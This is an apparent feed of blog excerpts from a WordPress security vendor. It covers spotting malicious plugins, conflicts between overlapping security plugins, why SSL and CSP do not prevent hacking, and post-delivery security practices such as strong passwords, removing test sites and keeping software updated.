Removal] If there are files in the plugin folder that are detected as malware by malware scanning plugins such as [Free] WordPress:Malware Scanning &#038; Security Plugins [Malware &#038; Virus Detection &#038; Removal], there is a high possibility that the plugin is a malicious one installed by hackers. How to deal with rogue plug-ins If you are certain that a hacker has introduced a malicious plugin, stop and remove the plugin. If the hacker was able to install a malicious plugin, it means that he/she is able to log in to the administration screen, so it may be necessary to take other security measures. If the hacker was able to install other malicious files, it means that the hacker has been able to log in to the administration screen, so we will need to take other security measures.

					<description><![CDATA[This section explains the precautions to be taken when using multiple security plug-ins together in WordPress. Typical WordPress security plug-ins The following security plug-ins are commonly installed on WordPress sites. WordFence WAF blocks malicious traffic. Malware scanner to detect and repair infections. Two-factor authentication (2FA) and brute force attack protection. SiteGuard Simply install and activate to provide basic login protection and prevent unintentional access to administrative screens. Protects against fraudulent logins by changing login page URLs, automatic lockouts, image verification (CAPTCHA), login alerts (email notifications), and more. All-In-One Security (AIOS) Complete WAF functionality, firewall (6G/8G rules), login protection (2FA, user enumeration prevention). File change monitoring and content protection (spam/hotlink prevention). Easy to use with security scoring, suitable for beginners. Solid Security Originally iThemes Security, offering multi-layered protection including login hardening (2FA/password policy), brute force protection, file change detection, and vulnerability scanning. Vulnerability scanning. File change detection and user activity logs. MalCare Security Malware scanner and WAF with WordPress-specific threat blocking. Vulnerability detection, activity logs, country blocking, login protection. WP Doctor malware scanner pro Block malicious traffic with WAF. Malware scanner, vulnerability scanning, IP blocking, attack monitoring features, and more. Security plugin includes similar WAF features A WAF is a feature that prevents hackers from attacking and makes it harder to hack. Plugins with this functionality often overlap in functionality, and more than 70% of them are the same. Also, login protection is found in almost all plugins. If multiple plug-ins are enabled for these overlapping functions, there is a possibility that the functions will conflict, which may cause problems such as not being able to log in. Also, security-related functions will be executed multiple times, which may slow down the load and speed of the site. For this reason, we recommend that you set up similar security functions so that they do not overlap, even if multiple security plug-ins are installed. False positives in malware scanning Plug-ins with malware scanning functions may include detection patterns or malware-like code in their detection programs, which may cause the malware scanning functions to misdetect each other even though the code is safe. Therefore, if multiple malware scanning plug-ins are running, a human must determine if the detected files are indeed malware. The following is a method to determine if a safe file has been falsely detected or not. The detected malware exists in the folder of another malware detection plug-in. The detected file is included in the same version of the plugin as the legitimate distribution file, and the contents are identical. In addition, if the malware scan is executed by multiple plug-ins, it may increase the load on the site and lead to site slowdown. For this reason, we recommend that security plug-ins be combined into one plug-in that has a general WAF function, a malware scanning function (with a high detection rate), and a vulnerability scanning function.]]></description>

					<description><![CDATA[Converting WordPress to SSL and setting up a CSP (Content Security Policy) does not prevent hacking. We will explain the reasons for this. Why SSL (HTTPS) does not prevent hacking SSL encrypts notifications between the web server and the user&#8217;s browser so that servers, WIFI, and other devices that mediate data transmission can read the contents of those communications and not know what data is being sent or received. Incidentally, the following information is not protected even if SSL is used (1) IP address of the destination (2) Domain name (SNI) * The URL of the page being accessed and queries under the domain will be kept confidential. (iii) Timing and traffic volume of the connection Therefore, it is possible to prevent WordPress login IDs and passwords from being read and exposed in the process of SSL conversion. Why can&#8217;t SSL prevent hacking? However, most WordPress hacking is done through brute force attacks, in which the administrator&#8217;s password is determined by brute force, or by hackers gaining direct access to vulnerabilities in plug-ins and other vulnerabilities. Such attacks cannot be prevented by encrypting communications using SSL, because the hacker&#8217;s unauthorized communications themselves are not filtered out. Why CSP settings do not prevent hacking Recently, it has become common to set CSP (Content Security Policy). CSP (Content Security Policy) is a mechanism for specifying which JS scripts, images, CSS, etc. from which sources are allowed to be loaded in HTACCESS files and other files. Browsers will read these settings and prevent loading of JS, etc. on unauthorized domains. The CSP setting may prevent users from suffering secondary damage by preventing the browser from loading malicious JS scripts embedded by hackers on the site. However, what CSP can prevent is the loading of malicious scripts, etc., into the content after the hacker has already successfully defaced the site, and the user&#8217;s browser will execute them. (This may not be prevented if the CSP settings and the malicious embedded scripts are on the same server.) CSP is an insurance policy that may prevent users from accessing the site and suffering secondary damage in the event that the site is hacked. How do I prevent WordPress from being hacked? To prevent WordPress from being hacked, it is important to take basic security measures, such as using plug-ins that specialize in preventing hacking, in addition to SSL and CSP settings.

					<description><![CDATA[We will explain 7 important WordPress security operation policies that the production company won&#8217;t tell you about, and that you must follow after delivery. 1 Increase the strength of passwords for users on the production site test site Around 20% of WordPress hacks are caused by weak passwords for administrator privileges. Make sure that the passwords for both the production and test sites are a random string of at least 12 characters and alphanumeric symbols, and reset them if they are not. In one case where we were asked to remove malware, the administrator password for the test site was the same as the ID for the convenience of development. In the case of this site, the administrator privileges of the test site were first taken by hackers through a brute force attack, and then a back door was opened and the production site was also tampered with to add unauthorized users, resulting in the spread of malware damage to the entire server. 2 Do not leave test sites unattended Malware today can spread to multiple sites on a server. Therefore, if a test site or any other development data is left unattended on a server, the vulnerability of that site can be exploited by hackers, and the entire server can be tampered with. We recommend that you do not leave abandoned sites that have not been updated for a long period of time (test sites are often such cases) on the server. 3 Regular Updates Some production companies will tell you not to update your site to keep it stable, but this is a huge security risk. This is a huge security risk because the most common reason (60%) for WordPress to be hacked is to exploit vulnerabilities in old plugins or WordPress itself. In some cases, the production companies have disabled automatic updates to prevent updates from being made. The longer this happens, the more likely it is that vulnerabilities will be discovered and the more likely it is that hackers will use WordPress to infect your site with malware. Even if your production company tells you not to update your site, we recommend that you follow the following operational policies. Do not stop the automatic security update of WordPress itself. Update the test site once every few months to make sure it is up-to-date, and keep the production site up-to-date with the latest plug-ins and WordPress itself. If the above is not possible, it may be necessary to pinpoint vulnerabilities on a regular basis and take action to address them. (We also recommend that you update your entire site every year or two to ensure that it is up-to-date.) 4 Neglecting deactivated plug-ins During the production process, the use of various plug-ins may be considered by the production company, and then deactivated, but unused plug-ins may be left unattended. Even if a plugin is deactivated, the vulnerability of the WordPress plugin can be exploited by accessing the program directly. We recommend that you ask your production company why some plug-ins have been deactivated and remove them from the server [&#8230;]]]></description>
